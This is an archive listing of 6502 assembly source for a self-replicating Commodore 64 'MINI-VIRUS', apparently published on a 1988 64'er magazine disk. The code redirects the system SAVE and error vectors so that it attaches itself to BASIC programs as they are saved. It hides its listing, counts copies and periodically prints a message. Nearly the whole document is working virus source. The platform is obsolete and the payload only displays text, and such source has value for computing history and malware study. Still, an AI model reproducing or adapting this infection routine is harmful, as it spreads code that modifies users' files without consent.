home *** CD-ROM | disk | FTP | other *** search
/ 64'er 1988 December / 64er_Magazin_88-12_1988_Markt__Technik_de_Side_A.d64 / virus.src < prev    next >
Encoding:
Text File  |  1988-01-01  |  3.3 KB  |  113 lines

  1. ;
  2. ;          MINI-VIRUS
  3. ;
  4. ; (c) 1988 Martin Ahlemeyer
  5. ;          Nordhang 21
  6. ;          D-4788 Warstein
  7. ;
  8.            org $0801
  9. ;
  10.            w ende0,0      ; Link-Struktur Basiczeile 0
  11.            b 0            ; Listschutz-Byte
  12.            w $3a3a,$3a3a  ; Koppelglieder fuer Listschutz
  13.            b $9e          ; SYS-Token
  14.            b "2065:"      ; Klartext nach SYS
  15.            b $8f          ; REM-Token
  16. ;
  17. :init      lda #<ende1    ; Basic-Start heraufsetzen
  18.            sta $2b
  19.            lda #>ende1
  20.            sta $2c
  21.            lda #<save     ; SAVE-Vektor verbiegen
  22.            sta $0332
  23.            lda #>save
  24.            sta $0333
  25.            ldx #1
  26.            lda #<error    ; Error-Vektor verbiegen
  27.            sta $02ff,x
  28.            lda #>error
  29.            sta $0301
  30.            rts
  31. ;
  32. :save      lda ende1      ; Programm schon verseucht?
  33.            cmp #$85
  34.            beq saveex     ; dann normales SAVE
  35.            lda ende1+4    ; Programm beginnt mit SYS?
  36.            cmp #$9e
  37.            beq saveex     ; dann normales SAVE
  38.            lda $b9        ; Sekundaeradresse 0?
  39.            and #%00001111 ; Offset beseitigen
  40.            bne saveex     ; wenn nicht 0, dann normal speichern
  41.            lda #1         ; sonst ab $0801 (also mit Virus)
  42.            sta $c1        ;   speichern
  43.            lda #8
  44.            sta $c2
  45.            ldy #4         ; Zahlen weiterstellen
  46. :incz1     lda zahl,y
  47.            cmp #$20       ; Leerzeichen?
  48.            bne incz2
  49.            lda #$30       ; wenn ja, durch "0" ersetzen
  50. :incz2     tax
  51.            inx
  52.            cpx #$3a       ; groesser als 9?
  53.            bne inczex     ; wenn nicht, fertig
  54.            lda #$30       ; durch 0 ersetzen
  55.            sta zahl,y
  56.            dey
  57.            bpl incz1      ; zur naechsten Stelle
  58.            iny
  59.            tax
  60. :inczex    txa
  61.            sta zahl,y
  62.            dec kopz       ; Kopienzaehler dekrementieren
  63.            bne saveex     ; wenn nicht abgelaufen, SAVEn
  64.            lda kopz+1     ; Kopienzaehler restaurieren
  65.            sta kopz
  66.            inc $0313      ; Flag fuer Virusaktion setzen
  67.            lda #7         ; Aktionszaehler neu setzen
  68.            sta count
  69. :saveex    jmp $f5ed      ; weiter mit normalem SAVE
  70. ;
  71. :error     txa            ; x-Register retten
  72.            pha
  73.            jsr init       ; Vektoren stellen
  74.            lda $0313      ; Flag fuer Aktion testen
  75.            beq errorex    ; nicht gesetzt, dann normal weiter
  76.            dec count      ; Aktionszaehler dekrementieren
  77.            bne errorex    ; nicht 0, dann normal weiter
  78.            lda #2
  79.            sta count      ; Aktionszaehler neu setzen
  80.            lda #<text     ; Text ausgeben
  81.            ldy #>text
  82.            jsr $ab1e
  83. :errorex   pla            ; x-Register zurueck
  84.            tax
  85.            jmp $e38b      ; zum Warmstart
  86. ;
  87. :count     b 3
  88. ;
  89. :kopz      b 4,3
  90. ;
  91. :text      b $0d
  92.            b "minivirus:"
  93. :zahl      b "    0"
  94.            b " kopien!"
  95. ;
  96.            b 0            ; Endebyte fuer Text und fuer die
  97.                           ;   Basiczeile 0
  98. ;
  99. :ende0     w ende1        ; Link-Struktur Basiczeile 1
  100.            w 1            ; Zeilennummer Basiczeile 1
  101.            b $8f          ; REM-Token
  102.            b $22,$14,$8d  ; Listschutz
  103.            b $91,$91,$91
  104. ;
  105.            b 0            ; Endebyte Basiczeile 1
  106. ;
  107. :ende1     w 0            ; Ende des Programms
  108.  
  109.  
  110.  
  111.  
  112.  
  113.